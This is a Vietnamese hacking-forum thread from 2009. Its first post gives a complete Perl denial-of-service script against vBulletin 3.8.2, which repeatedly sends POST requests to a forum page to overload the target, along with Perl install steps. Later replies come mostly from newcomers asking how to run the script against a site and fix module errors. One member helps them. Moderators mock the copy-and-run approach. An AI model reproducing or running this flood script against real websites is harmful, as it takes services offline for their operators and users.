banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits vBulletin® Version 3.8.2 Denial of Service Exploit  XML
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 22/06/2009 23:05:00 (+0700) | #1 | 184289
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
Code:
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules                                                              #
########################################################################
use IO::SOCKET;           # Object interface                           #
########################################################################
if (@ARGV<1){
print"
########################################################################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
########################################################################
########################################################################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Enter these values              ##                                  ##
##1.Target                        ##[*] www.Target.com                ##
##2.Board                         ##[*] vbulletin                     ##
##3.Vulnerability                 ##[*] forumdisplay.php?f=           ##
##4.Execution length/timeout      ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
########################################################################
\a";}
$block = "
########################################################################";
$fehler = "Error!Error!Error!Error";
$x =0;
     print"$block\n";
     print q(Target->);
     chomp($ziel =<STDIN>);
     if ($ziel eq""){
     die "$fehler\a\n";}
     print"$block\n";
       print"$block\n";
       print q(Path->);
       chomp($path =<STDIN>);
       if ($path eq "") {
       die "$fehler !\a\n";}
       print"$block\n";
          print"$block\n";
          print "Vulnerability\n";
          print"forumdisplay.php?f=\n";
          print"->\n";
            chomp($vul =<STDIN>);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
               print"$block\n";
               print q(Time->);
               chomp($flood =<STDIN>);
               if ($flood eq "") {
               die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =<STDIN>);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                     print q(Send "start"->);
                     chomp($start =<STDIN>);
                     if ($start eq "") {
                     die "$fehler\n";}
print "$block\a\n";
print "[+]Checking Data \n";
print "[*]Checking Target   : $ziel\n";
print "[*]Checking Board  : $path\n";
print "[*]Checking Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                               PeerAddr => "$ziel",
                               PeerPort => "$port",
                               Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Error - can't connect to target $ziel !\n";
}






cài perl cho win

http://www.activestate.com/ActivePerl/

cài perl cho linux:

vào ter gõ:

Code:
apt-get install libio-socket-inet6-perl
sudo perl -MCPAN -e shell
install IO::Socket::INET6
perl -MCPAN -e 'install IO::Socket::INET6'
make
make test
sudo make install


hoặc:

http://www.perl.com/CPAN/src/perl-5.6.2.tar.gz smilie


HaCk t0 LeArN,N0t LeArN t0 HaCk
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 04:51:56 (+0700) | #2 | 185892
[Avatar]
Shikuro
Member

[Minus]    0    [Plus]
Joined: 06/07/2009 21:01:10
Messages: 17
Offline
[Profile] [PM]
Mình dùng linux, đã install như trên, tuy nhiên vẫn bị


Can't locate IO/SOCKET.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at a.pl line 7.
BEGIN failed--compilation aborted at a.pl line 7.
 

Mong bạn giúp mình khắc phục
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 06:07:31 (+0700) | #3 | 185900
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]

Shikuro wrote:
Mình dùng linux, đã install như trên, tuy nhiên vẫn bị


Can't locate IO/SOCKET.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at a.pl line 7.
BEGIN failed--compilation aborted at a.pl line 7.
 

Mong bạn giúp mình khắc phục 



vào ter gõ:

Code:
sudo apt-get install perl
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 16:16:25 (+0700) | #4 | 185954
[Avatar]
Shikuro
Member

[Minus]    0    [Plus]
Joined: 06/07/2009 21:01:10
Messages: 17
Offline
[Profile] [PM]
Đã tìm ra nơi phát sinh lỗi, trong code SOCKET trong máy là Socket.pm +_+
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 17:16:24 (+0700) | #5 | 185956
Kaito Kid X
Member

[Minus]    0    [Plus]
Joined: 09/09/2004 02:00:08
Messages: 9
Offline
[Profile] [PM]
Ạnh ơi cho em hỏi, như em thấy thì đây là cái bug trên milworn
em còn là newbe nên không biết gì nhiều
muốn hỏi anh là sao anh biết đoạn mã trên là perk trong đó nó đâu có ghi gì đâu?
em cảm ơn anh nhiều
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 18:32:22 (+0700) | #6 | 185957
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

Kaito Kid X wrote:
Ạnh ơi cho em hỏi, như em thấy thì đây là cái bug trên milworn
em còn là newbe nên không biết gì nhiều
muốn hỏi anh là sao anh biết đoạn mã trên là perk trong đó nó đâu có ghi gì đâu?
em cảm ơn anh nhiều  


Ở trên đầu của đoạn script có dòng:

#!usr/bin/perl


PS: Cố gắng gõ cho đúng từ. Câu cú cho rõ ràng. Gõ có một đoạn ngắn như thế mà đầy lỗi.
What bringing us together is stronger than what pulling us apart.
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 19:23:00 (+0700) | #7 | 185959
[Avatar]
ltcofdream
Member

[Minus]    0    [Plus]
Joined: 25/06/2009 15:29:59
Messages: 4
Location: Nơi không biết gì
Offline
[Profile] [PM]
Câu nào cũng sai thế là bị anh conmale chỉ dậy rồi . Là newbie thi lên milw0rm làm gì cho đau đầu . smilie
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 19:49:35 (+0700) | #8 | 185960
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]

Kaito Kid X wrote:
Ạnh ơi cho em hỏi, như em thấy thì đây là cái bug trên milworn
em còn là newbe nên không biết gì nhiều
muốn hỏi anh là sao anh biết đoạn mã trên là perk trong đó nó đâu có ghi gì đâu?
em cảm ơn anh nhiều  


bạn vào google tìm kiếm: "how to use perl exploit" để biết cách sử dụng
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 10/07/2009 22:07:08 (+0700) | #9 | 185971
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

ltcofdream wrote:
Câu nào cũng sai thế là bị anh conmale chỉ dậy rồi . Là newbie thi lên milw0rm làm gì cho đau đầu . smilie  


smilie

dậy: thức dậy.

dạy: dạy bảo.


Là newbie thì càng thích lên milw0rm vì nó có khối "mì ăn liền" để làm tại chỗ.
What bringing us together is stronger than what pulling us apart.
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 12/07/2009 12:01:14 (+0700) | #10 | 186185
sovietw0rm
Member

[Minus]    0    [Plus]
Joined: 14/02/2008 18:05:38
Messages: 7
Offline
[Profile] [PM]
cái code perl trên milw0rm có thể áp dụng cho các code khác không chỉ có vbb Version 3.8.2 này đâu. Code này nó sẽ gửi nhiều request đến 1 link tại đó sử dụng nhiều truy vấn sql hay có các truy vấn đòi hỏi nhiều tài nguyên để sử lý nhằm mục đích làm cho Database management System của victim quá tải dẫn đến bị die. Thông thường là vậy.
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 07/08/2009 12:41:58 (+0700) | #11 | 188963
[Avatar]
RECON
Member

[Minus]    0    [Plus]
Joined: 16/06/2009 19:10:08
Messages: 6
Offline
[Profile] [PM]
em thử cái này,mà sao nó có DDOS đc đâu???
___ [COLOR="Red"][FONT="System"][SIZE="6"]Hack To Learn,Don't Learn To Hack[/SIZE][/FONT][/COLOR] _____
Rapid Leech
[URL="http://ser1.ongkinhviet.com"][COLOR="Black"]http://ser1.ongkinhviet.com[/COLOR][/URL]
[URL="http://ser2.ongkinhviet.com"][CO
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 12/08/2009 08:07:03 (+0700) | #12 | 189640
noname89
Member

[Minus]    0    [Plus]
Joined: 21/06/2008 01:07:40
Messages: 4
Offline
[Profile] [PM]
Em cai` perl xong chạy nó báo lỗi thế này. Anh em nào biết chỉ với.
Can't locate IO/Socket/SSL.pm in @INC (@INC contains: /usr/local/lib/perl5/site_perl/5.10.0/i386-linux-thread-multi /usr/local/lib/perl5/site_perl/5.10.0 /usr/lib/perl5/vendor_perl/5.10.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.10.0/i386-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/lib/perl5/site_perl .) at apache.pl line 4.
BEGIN failed--compilation aborted at apache.pl line 4.


Mình đang dùng Fedora.
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 12/08/2009 08:22:07 (+0700) | #13 | 189641
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

noname89 wrote:
Em cai` perl xong chạy nó báo lỗi thế này. Anh em nào biết chỉ với.
Can't locate IO/Socket/SSL.pm in @INC (@INC contains: /usr/local/lib/perl5/site_perl/5.10.0/i386-linux-thread-multi /usr/local/lib/perl5/site_perl/5.10.0 /usr/lib/perl5/vendor_perl/5.10.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.10.0/i386-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/lib/perl5/site_perl .) at apache.pl line 4.
BEGIN failed--compilation aborted at apache.pl line 4.


Mình đang dùng Fedora.  


Thiếu phần màu đỏ và thiếu cụ thể cái gì thì thử tìm hiểu xem sao. Muốn làm héc cờ mà không nắm mấy cái này thì bó tay.
What bringing us together is stronger than what pulling us apart.
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 12/08/2009 09:27:10 (+0700) | #14 | 189652
9x9=81??
Elite Member

[Minus]    0    [Plus]
Joined: 26/06/2005 12:23:59
Messages: 92
Offline
[Profile] [PM]
Chắc viết lại thành C ( không phải C# nhé, mất công báo lỗi thiếu framework ) rồi compile thì mấy bạn này mới chạy được quá smilie

[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 12/08/2009 20:47:13 (+0700) | #15 | 189734
noname89
Member

[Minus]    0    [Plus]
Joined: 21/06/2008 01:07:40
Messages: 4
Offline
[Profile] [PM]
héc j đâu ạ . Em chạy thằng này trên win thì nó báo là ko thể mở. Còn chạy trên linux thì báo lỗi như thế. bó tay với thằng này quá
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 19/08/2009 00:01:14 (+0700) | #16 | 190415
vinh_thekiller
Member

[Minus]    0    [Plus]
Joined: 22/02/2008 20:30:19
Messages: 6
Offline
[Profile] [PM]
Em cũng thích học hack lắm nhưng hiện tại vốn kiến thức chưa đủ, nhất là tiếng Anh kìa. Mấy anh đưa mấy trang nước ngoài vào, nhìn thấy đã oải rồi. Ở forum HVA có chỗ nào chuyên cho newbie ko hả mấy anh?
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 19/08/2009 16:55:44 (+0700) | #17 | 190481
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]

vinh_thekiller wrote:
Em cũng thích học hack lắm nhưng hiện tại vốn kiến thức chưa đủ, nhất là tiếng Anh kìa. Mấy anh đưa mấy trang nước ngoài vào, nhìn thấy đã oải rồi. Ở forum HVA có chỗ nào chuyên cho newbie ko hả mấy anh? 


có đấy bạn,mấy cái Sticky ở đầu mỗi phân mục đó smilie
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 23/08/2009 06:47:56 (+0700) | #18 | 190871
vinh_thekiller
Member

[Minus]    0    [Plus]
Joined: 22/02/2008 20:30:19
Messages: 6
Offline
[Profile] [PM]
Cho em hỏi thêm chút. Với cái script kia thì khi chạy, cái phần "Path" gõ là "forum" hay "/forum/" vậy? Cả cái "forumdisplay?f=" thì gõ nguyên cả đoạn đó vào rồi thêm id forum bất kì hay forum nào vậy? Em thử rồi nhưng đợi mãi chẳng thấy cái forum thử nghiệm die j cả...
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 23/08/2009 07:09:38 (+0700) | #19 | 190872
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]

vinh_thekiller wrote:
Cho em hỏi thêm chút. Với cái script kia thì khi chạy, cái phần "Path" gõ là "forum" hay "/forum/" vậy? Cả cái "forumdisplay?f=" thì gõ nguyên cả đoạn đó vào rồi thêm id forum bất kì hay forum nào vậy? Em thử rồi nhưng đợi mãi chẳng thấy cái forum thử nghiệm die j cả... 

Thôi thì chịu khó học Perl vậy, học đến khi nào có thể viết được những đoạn mã tương tự như trên thì mới thấy thú vị chứ vẫn thích kiểu mỳ ăn liền, học trên ngọn thế này thì không thu được cái gì cả.
Let's build on a great foundation!
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 23/08/2009 07:10:11 (+0700) | #20 | 190873
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

vinh_thekiller wrote:
Em cũng thích học hack lắm nhưng hiện tại vốn kiến thức chưa đủ, nhất là tiếng Anh kìa. Mấy anh đưa mấy trang nước ngoài vào, nhìn thấy đã oải rồi. Ở forum HVA có chỗ nào chuyên cho newbie ko hả mấy anh? 


HVA là forum không phân biệt newbie hay oldie cho nên chẳng có cái gì chuyên cho newbie cả.
What bringing us together is stronger than what pulling us apart.
[Locked] [Up] [Print Copy]
  [Announcement]   vBulletin® Version 3.8.2 Denial of Service Exploit 23/08/2009 21:55:32 (+0700) | #21 | 190940
intellirookie
Member

[Minus]    0    [Plus]
Joined: 07/08/2009 03:56:56
Messages: 9
Offline
[Profile] [PM]
em khuyên các bác tự xưng là newbie nên đọc qua loạt bài "Những cuộc đối thoại với rookie" trong Phòng đọc của HVA cho thật kỹ, đừng ở đây post bài lung tung kẻo bị Anh già khó tính châm, còn anh quanta thì phải trả lời từng câu một tội ảnh quá smilie
[Locked] [Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|